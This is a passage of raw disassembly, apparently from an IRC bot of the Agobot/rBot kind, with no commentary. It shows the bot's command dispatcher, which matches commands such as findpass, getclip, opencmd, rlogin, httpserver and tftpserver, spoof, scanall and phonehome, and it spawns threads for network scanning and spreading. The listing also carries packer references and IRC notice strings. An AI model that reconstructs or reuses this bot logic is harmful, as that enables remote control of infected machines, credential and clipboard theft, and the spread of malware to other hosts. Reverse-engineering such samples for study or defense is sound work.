		mov	eax, offset dword_42EDB0


loc_4030F0:				; CODE XREF: sub_401AA1+1648j
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 1Ch
		jmp	loc_402399
; ---------------------------------------------------------------------------


loc_40311E:				; CODE XREF: sub_401AA1+163Aj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40430F
		push	edi
		push	offset aT	; "t"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40430F
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042EC
		push	edi
		push	offset aAl	; "al"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042EC
		push	edi
		push	offset aLog	; "log"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041FD
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041FD
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E1
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E1
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041A7
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041A7
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40417C
		push	edi
		push	offset aSi	; "si"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40417C
		push	edi
		push	offset aKh4l3d	; "Kh4l3d"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404142
		push	edi
		push	offset aL4m3rz	; "l4m3rz"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404142
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404023
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404023
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F9C
		push	edi
		push	offset aUp	; "up"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F9C
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F7F
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F7F
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F66
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F66
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EF2
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EF2
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40333F
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42ECF8
		push	offset dword_42ECD4
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_40333F:				; CODE XREF: sub_401AA1+1884j
		push	edi
		push	offset dword_42ECD0
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403455
		cmp	[ebp+var_8], ebx
		jnz	short loc_403373
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42ECA4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 14h


loc_403373:				; CODE XREF: sub_401AA1+18B6j
		mov	eax, [ebp+arg_18]
		xor	edi, edi
		mov	[ebp+arg_18], eax
		jmp	short loc_403380
; ---------------------------------------------------------------------------


loc_40337D:				; CODE XREF: sub_401AA1+1926j
		mov	eax, [ebp+arg_18]


loc_403380:				; CODE XREF: sub_401AA1+18DAj
		cmp	[eax], bl
		jz	short loc_403387
		inc	eax
		jmp	short loc_40338C
; ---------------------------------------------------------------------------


loc_403387:				; CODE XREF: sub_401AA1+18E1j
		mov	eax, offset dword_42EC9C


loc_40338C:				; CODE XREF: sub_401AA1+18E4j
		push	eax
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42EC94
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	edi
		cmp	edi, 3
		jl	short loc_40337D
		push	offset dword_42EC50
		call	sub_415F45
		pop	ecx


loc_4033D4:				; CODE XREF: sub_401AA1+1BB7j
					; sub_401AA1+2EEFj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		mov	[ebp+arg_20], edi
		jz	loc_401F20
		push	[ebp+arg_8]


loc_4033E9:				; DATA XREF: sub_4F9FE9+251w
		push	offset aSpoof	; "spoof"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax


loc_4033F6:				; DATA XREF: sub_4F9FE9+262w
		pop	ecx
		jnz	loc_404A9C
		push	offset aOff	; "off"
		push	edi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4049A2
		lea	eax, [ebp+var_2C0]
		push	offset unk_42EC18
		push	eax
		mov	dword_4D1A8C, ebx
		call	sub_41BEF6


loc_403429:				; DATA XREF: .XPack:004FB5A5r
					; .XPack:loc_4FB5BFr ...
		pop	ecx


loc_40342A:				; DATA XREF: .XPack:004FB5F1r
					; .XPack:loc_4FB60Cr ...
		pop	ecx


loc_40342B:				; CODE XREF: sub_401AA1+2FA2j
					; sub_401AA1+2FC8j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_409567
		push	ebx


loc_403435:				; DATA XREF: sub_4F9FE9+3Fr
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743


loc_40344D:				; CODE XREF: sub_401AA1+6F23j
					; sub_401AA1+6F89j
		add	esp, 14h
		jmp	loc_409567
; ---------------------------------------------------------------------------


loc_403455:				; CODE XREF: sub_401AA1+18ADj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EB1
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EB1
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E94
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E94
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E56
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E56
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E1C
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E1C
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403CC0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403CC0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B4B


loc_40353C:				; DATA XREF: sub_4F9DFA+1BCw
					; sub_4F9FE9:loc_4FA016r ...
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C6E0
		pop	ecx


loc_403548:				; DATA XREF: sub_4F9FE9+EAw
					; sub_4FA44C+3r ...
		test	eax, eax
		pop	ecx
		jz	loc_403B4B
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C6E0


loc_40355C:				; DATA XREF: sub_4FBC60+3Cr
		pop	ecx
		test	eax, eax
		pop	ecx


loc_403560:				; DATA XREF: sub_4FBC60+9Er
		jz	loc_403A1A
		push	edi
		push	offset aTftp	; "tftp"


loc_40356C:				; DATA XREF: .XPack:004FA8EAr
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A1A
		push	edi


loc_40357C:				; DATA XREF: sub_4FBC60+7r
		push	offset aShitycrash ; "shitycrash"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4035E1
		lea	eax, [ebp+var_2C0]
		push	offset dword_42EB54
		push	eax


loc_403598:				; DATA XREF: .XPack:004FA315o
		call	sub_41BEF6
		cmp	[ebp+var_8], ebx


loc_4035A0:				; DATA XREF: sub_4FBC60+BDr
		pop	ecx
		pop	ecx
		jnz	short loc_4035C0


loc_4035A4:				; DATA XREF: .XPack:004FA82Cr
					; .XPack:004FACD4r
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4035B8:				; DATA XREF: sub_4FC19C+3Br
		call	sub_409743
		add	esp, 14h


loc_4035C0:				; CODE XREF: sub_401AA1+1B01j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415F45
		mov	[esp+10h+var_10], offset aShitycrash ; "shitycrash"
		push	[ebp+esi+var_7C]
		call	sub_41C6E0


loc_4035DC:				; DATA XREF: sub_4F9FE9+257r
					; .XPack:004FA8B5r
		jmp	loc_4096B0
; ---------------------------------------------------------------------------


loc_4035E1:				; CODE XREF: sub_401AA1+1AE9j
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx


loc_4035F0:				; DATA XREF: sub_4FA7E7+24r
		jz	loc_403713
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403713
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403638
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI	Are You	T"...
		push	[ebp+arg_4]
		call	sub_4096FD


loc_403630:				; CODE XREF: sub_401AA1+452j
		add	esp, 0Ch
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_403638:				; CODE XREF: sub_401AA1+1B79j
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax


loc_403646:				; DATA XREF: sub_4FA9AFr sub_4FA9AF+Bw
		pop	ecx
		jz	short loc_40365E
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4033D4


loc_40365E:				; CODE XREF: sub_401AA1+1BA6j
		push	[ebp+var_88]
		lea	eax, [ebp+var_FEC]
		push	80h
		push	eax
		call	sub_41BFF0
		mov	eax, [ebp+arg_4]
		push	offset unk_42EAD4
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F68], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_F64], eax
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41BFF0
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	26h
		push	eax
		call	sub_40B254
		add	esp, 24h
		mov	[ebp+var_F6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FF0]
		push	ebx
		push	eax
		push	offset sub_4174AA
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_F6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_403706
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42EA98
		jmp	loc_40823D
; ---------------------------------------------------------------------------


loc_4036FE:				; CODE XREF: sub_401AA1+1C6Bj
		push	32h
		call	dword_428080	; Sleep


loc_403706:				; CODE XREF: sub_401AA1+1C4Aj
		cmp	[ebp+var_F60], ebx
		jz	short loc_4036FE
		jmp	loc_402399
; ---------------------------------------------------------------------------


loc_403713:				; CODE XREF: sub_401AA1:loc_4035F0j
					; sub_401AA1+1B64j
		mov	al, byte_43423A
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_43423A
		jz	loc_401F20
		mov	ecx, edx


loc_40372A:				; CODE XREF: sub_401AA1+1C91j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_40372A
		cmp	al, bl
		jz	loc_401F20
		mov	[ebp+arg_18], edx


loc_40373F:				; CODE XREF: sub_401AA1+1F52j
		push	0Bh
		call	sub_40B496
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		mov	edx, eax
		mov	eax, 320h
		add	edx, ecx
		cmp	edx, eax
		jle	short loc_403792
		push	ecx
		lea	eax, [ebp+var_2C0]
		push	offset dword_42EA30
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 20h
		jmp	loc_4039EA
; ---------------------------------------------------------------------------


loc_403792:				; CODE XREF: sub_401AA1+1CBCj
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_434058, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], eax
		mov	[ebp+arg_0], ebx
		jz	short loc_4037FF
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_434058
		lea	edi, [eax-0Ah]


loc_4037C9:				; CODE XREF: sub_401AA1+1D40j
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4037E5
		inc	[ebp+arg_0]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_4037C9
		jmp	short loc_4037FF
; ---------------------------------------------------------------------------


loc_4037E5:				; CODE XREF: sub_401AA1+1D36j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_434058[ecx]
		mov	[ebp+var_74C], ecx


loc_4037FF:				; CODE XREF: sub_401AA1+1D1Bj
					; sub_401AA1+1D42j
		cmp	[ebp+var_74C], ebx
		jz	loc_403A10
		push	10h
		lea	eax, [ebp+var_2CC]
		pop	esi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2CC], esi
		push	[ebp+arg_4]
		call	dword_4CE2AC	; getsockname
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BC60
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41C4B0
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_4038A7


loc_403885:				; CODE XREF: sub_401AA1+1E04j
		cmp	eax, ebx
		jz	short loc_4038A7
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41C4B0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_403885


loc_4038A7:				; CODE XREF: sub_401AA1+1DE2j
					; sub_401AA1+1DE6j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_850]
		push	80h
		push	eax
		mov	[ebp+var_720], 1
		mov	[ebp+var_728], esi
		mov	[ebp+var_724], edi
		call	sub_41BFF0
		push	offset byte_4404C4
		push	offset asc_42AAA4 ; "#l"
		call	sub_41C6E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_403914
		push	offset asc_42AAA4 ; "#l"
		lea	eax, [ebp+var_7D0]
		push	80h
		push	eax
		call	sub_41BFF0
		add	esp, 0Ch
		jmp	short loc_40391A
; ---------------------------------------------------------------------------


loc_403914:				; CODE XREF: sub_401AA1+1E56j
		mov	[ebp+var_7D0], bl


loc_40391A:				; CODE XREF: sub_401AA1+1E71j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40392C
		mov	eax, offset aSequential	; "Sequential"


loc_40392C:				; CODE XREF: sub_401AA1+1E84j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C0]


loc_403952:				; DATA XREF: sub_4FBC60+16w
					; sub_4FC19C+53r
		push	offset dword_42E970
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40B254
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_40C485


loc_403986:				; DATA XREF: .XPack:004FB5C7w
					; .XPack:004FBA0Cr ...
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread


loc_40398E:				; DATA XREF: sub_4FB1AB+20w
					; sub_4FB21A+6w ...
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h


loc_40399A:				; DATA XREF: .XPack:004FB43Cw
					; .XPack:004FB97Dr
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax


loc_4039A2:				; DATA XREF: .XPack:loc_4FB637w
					; .XPack:004FB9F4r
		jnz	short loc_403A06
		call	dword_428094	; RtlGetLastWin32Error


loc_4039AA:				; DATA XREF: sub_4FB164+8w
					; sub_4FB164+36w ...
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42E910


loc_4039B6:				; DATA XREF: sub_4F9FE9+51r
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch


loc_4039BF:				; CODE XREF: sub_401AA1+1F6Dj
		cmp	edi, ebx
		jnz	short loc_4039DD
		push	ebx
		lea	eax, [ebp+var_2C0]


loc_4039CA:				; DATA XREF: sub_4FBBE3-43w
					; sub_4FBBE3-15r
		push	esi
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 14h


loc_4039DD:				; CODE XREF: sub_401AA1+1F20j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415F45
		pop	ecx


loc_4039EA:				; CODE XREF: sub_401AA1+1CECj
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_40373F
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_4039FE:				; CODE XREF: sub_401AA1+1F6Bj
		push	32h
		call	dword_428080	; Sleep


loc_403A06:				; CODE XREF: sub_401AA1:loc_4039A2j
		cmp	[ebp+var_71C], ebx
		jz	short loc_4039FE
		jmp	short loc_4039BF
; ---------------------------------------------------------------------------


loc_403A10:				; CODE XREF: sub_401AA1+1D64j
		push	offset dword_42E8B0
		jmp	loc_406DDD
; ---------------------------------------------------------------------------


loc_403A1A:				; CODE XREF: sub_401AA1:loc_403560j
					; sub_401AA1+1AD4j
		push	5
		call	sub_40B496
		test	eax, eax
		pop	ecx
		jle	short loc_403A30
		push	offset unk_42E87C
		jmp	loc_406DDD
; ---------------------------------------------------------------------------


loc_403A30:				; CODE XREF: sub_401AA1+1F83j
		mov	eax, [ebp+esi+var_8C]
		mov	edi, 104h
		cmp	eax, ebx
		jz	short loc_403A53
		push	eax
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		call	sub_41BFF0
		add	esp, 0Ch
		jmp	short loc_403A62
; ---------------------------------------------------------------------------


loc_403A53:				; CODE XREF: sub_401AA1+1F9Dj
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		push	ebx
		call	dword_428078	; GetModuleFileNameA


loc_403A62:				; CODE XREF: sub_401AA1+1FB0j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403A72
		mov	esi, offset byte_42AA54


loc_403A72:				; CODE XREF: sub_401AA1+1FCAj
		push	esi
		lea	eax, [ebp+var_2C50]
		push	edi
		push	eax
		call	sub_41BFF0
		mov	eax, dword_42A964
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B44],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B48],	ebx
		mov	[ebp+var_2D58],	eax
		lea	eax, [ebp+var_2B40]
		push	eax
		call	sub_41BC60
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2AC0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2ABC],	eax
		lea	eax, [ebp+var_2D54]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_2B44]
		push	offset unk_42E830
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	5
		push	eax
		call	sub_40B254
		add	esp, 34h
		mov	[ebp+var_2B4C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D58]
		push	ebx
		push	eax
		push	offset sub_412407
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_2B4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_403B3E
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E7E0
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_403B36:				; CODE XREF: sub_401AA1+20A3j
		push	32h
		call	dword_428080	; Sleep


loc_403B3E:				; CODE XREF: sub_401AA1+2082j
		cmp	[ebp+var_2AB8],	ebx
		jz	short loc_403B36
		jmp	loc_406DEB
; ---------------------------------------------------------------------------


loc_403B4B:				; CODE XREF: sub_401AA1+1A95j
					; sub_401AA1+1AAAj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403B6A
		push	edi
		call	sub_41BDE9
		test	eax, eax
		pop	ecx
		jz	short loc_403B6A
		push	edi
		call	sub_41BDE9
		pop	ecx
		jmp	short loc_403B6F
; ---------------------------------------------------------------------------


loc_403B6A:				; CODE XREF: sub_401AA1+20B3j
					; sub_401AA1+20BEj
		mov	eax, dword_42A968


loc_403B6F:				; CODE XREF: sub_401AA1+20C7j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36CC],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B8],	eax
		jz	short loc_403BA2
		lea	eax, [ebp+var_37D0]
		push	esi
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx
		jmp	short loc_403BCD
; ---------------------------------------------------------------------------


loc_403BA2:				; CODE XREF: sub_401AA1+20EEj
		lea	eax, [ebp+var_49F4]
		push	104h
		push	eax
		call	dword_42807C	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_49F4]
		push	eax
		call	sub_41C041
		add	esp, 14h


loc_403BCD:				; CODE XREF: sub_401AA1+20FFj
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B650
		cmp	[ebp+eax+var_37D1], 5Ch
		pop	ecx
		jnz	short loc_403BF8
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B650
		pop	ecx
		mov	[ebp+eax+var_37D1], bl


loc_403BF8:				; CODE XREF: sub_401AA1+2141j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A58]
		mov	[ebp+var_3A5C],	esi
		push	80h
		push	eax
		call	sub_41BFF0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36BC],	eax
		lea	eax, [ebp+var_37D0]
		mov	[ebp+var_36C0],	edi
		push	eax
		push	[ebp+var_36CC]
		push	esi
		call	sub_40A8D5
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42E790
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	3
		push	eax
		call	sub_40B254
		add	esp, 20h
		mov	[ebp+var_36C4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A5C]
		push	ebx
		push	eax
		push	offset sub_40FDBE
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_36C4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_403CB3
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E740
		jmp	loc_403DDD
; ---------------------------------------------------------------------------


loc_403CAB:				; CODE XREF: sub_401AA1+2218j
		push	32h
		call	dword_428080	; Sleep


loc_403CB3:				; CODE XREF: sub_401AA1+21F7j
		cmp	[ebp+var_36B0],	ebx
		jz	short loc_403CAB
		jmp	loc_403DEC
; ---------------------------------------------------------------------------


loc_403CC0:				; CODE XREF: sub_401AA1+1A6Bj
					; sub_401AA1+1A80j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403CDF
		push	edi
		call	sub_41BDE9
		test	eax, eax
		pop	ecx
		jz	short loc_403CDF
		push	edi
		call	sub_41BDE9
		pop	ecx
		jmp	short loc_403CE4
; ---------------------------------------------------------------------------


loc_403CDF:				; CODE XREF: sub_401AA1+2228j
					; sub_401AA1+2233j
		mov	eax, dword_42A96C


loc_403CE4:				; CODE XREF: sub_401AA1+223Cj
		mov	[ebp+var_1828],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403CFB
		lea	eax, [ebp+var_C0]


loc_403CFB:				; CODE XREF: sub_401AA1+2252j
		push	eax
		lea	eax, [ebp+var_1968]
		push	40h
		push	eax
		call	sub_41BFF0
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403D1D
		mov	esi, offset byte_4404C4


loc_403D1D:				; CODE XREF: sub_401AA1+2275j
		push	esi
		lea	eax, [ebp+var_1928]
		push	100h
		push	eax
		call	sub_41BFF0
		push	[ebp+var_88]
		lea	eax, [ebp+var_19E8]
		push	80h
		push	eax
		call	sub_41BFF0
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_1814],	eax
		lea	eax, [ebp+var_1968]
		push	eax
		mov	[ebp+var_19EC],	esi
		push	[ebp+var_1828]
		mov	[ebp+var_1818],	edi
		push	esi
		call	sub_40A8D5
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42E704
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	9
		push	eax
		call	sub_40B254
		add	esp, 20h
		mov	[ebp+var_1824],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19EC]
		push	ebx
		push	eax
		push	offset sub_4116E1
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_1824]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_403E12
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E6C8


loc_403DDD:				; CODE XREF: sub_401AA1+2205j
					; sub_401AA1+4C01j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch


loc_403DEC:				; CODE XREF: sub_401AA1+221Aj
					; sub_401AA1+2379j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_402399
		push	ebx
		push	edi


loc_403DF7:				; CODE XREF: sub_401AA1+646Dj
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_406E08
